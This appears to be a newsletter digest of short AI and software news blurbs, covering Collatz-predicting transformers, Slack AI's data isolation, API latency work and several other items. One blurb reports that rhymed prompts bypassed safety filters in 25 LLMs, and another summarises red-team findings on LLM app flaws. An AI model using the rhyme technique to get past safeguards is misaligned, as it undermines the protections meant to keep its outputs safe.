Researchers trained small transformer models to predict the "long Collatz step," an arithmetic rule for the infamous unsolved Collatz conjecture, achieving surprisingly high accuracy up to 99.8%. The models did not learn the universal algorithm, but instead showed quantized learning, mastering speci.. read more  

Amp’s team isn’t chasing token limits. Even with ~200k available via Opus 4.5, they stick toshort, modular threads, around 80k tokens each. Why? Smaller threads are cheaper, more stable, and just work better. Instead of stuffing everything into a single mega-context, they slice big tasks into focuse.. read more  

Google’s been quietly field-testing two shadow models,Fierce FalconandGhost Falcon, on LM Arena. Early signs? They're probably warm-ups for the next Gemini 3 Flash or Pro drop. Classic Google move: float a checkpoint, stir up curiosity, then go GA... read more  

NVIDIA’s AI Red Team nailed three security sinkholes in LLMs:reckless use ofexec/eval,RAG pipelines that grab too much data, andmarkdown that doesn't get cleaned. These cracks open doors to remote code execution, sneaky prompt injection, and link-based data leaks. The fix-it trend:App security’s lea.. read more  

OpenAI co-founder Ilya Sutskever just said the quiet part out loud: scaling laws are breaking down. Bigger models aren’t getting better at thinking, they’re getting worse at generalizing and reasoning. Now he’s eyeingneurosymbolic AIandinnate inductive constraints. Yep, the “just make it huge” era m.. read more  

A new study just broke the safety game wide open: rhymed prompts slipped past filters in25 major LLMs, including Gemini 2.5 Pro and Deepseek - withup to 100% success. No clever chaining, no jailbreak soup. Just single-shot rhyme. Turns out, poetic language isn’t just for bard-core Twitter. When it c.. read more  

The author, Ben Recht, proposes five research directions inspired by his graduate machine learning class, arguing for different research rather than just more. These prompts include adopting a design-based view for decision theory, explaining the robust scaling trends in competitive testing, and mov.. read more  

Every millisecond matters in the critical path of API authentication. After two years of battling serverless limitations, the entire API stack was rebuilt to reduce end-to-end latency. The move from Cloudflare Workers to stateful Go servers resulted in a 6x performance improvement and simplified arc.. read more  

Slack pulled back the curtain onSlack AI, its LLM-powered assistant built with a fortress mindset. Every customer gets their ownisolated environment. Any data passed tovendor LLMs? It'sephemeral. Gone before it can stick. No fine-tuning. No exporting data outside Slack. And there’s a wholemiddle-lay.. read more  

Lorin Hochstein argues that while high-profile engineer attrition is often speculated to contribute to major outages, it is universally absent from public Root Cause Analyses (RCAs). This exclusion occurs because public RCAs aim to reassure customers by focusing on technical fixes, whereas attrition.. read more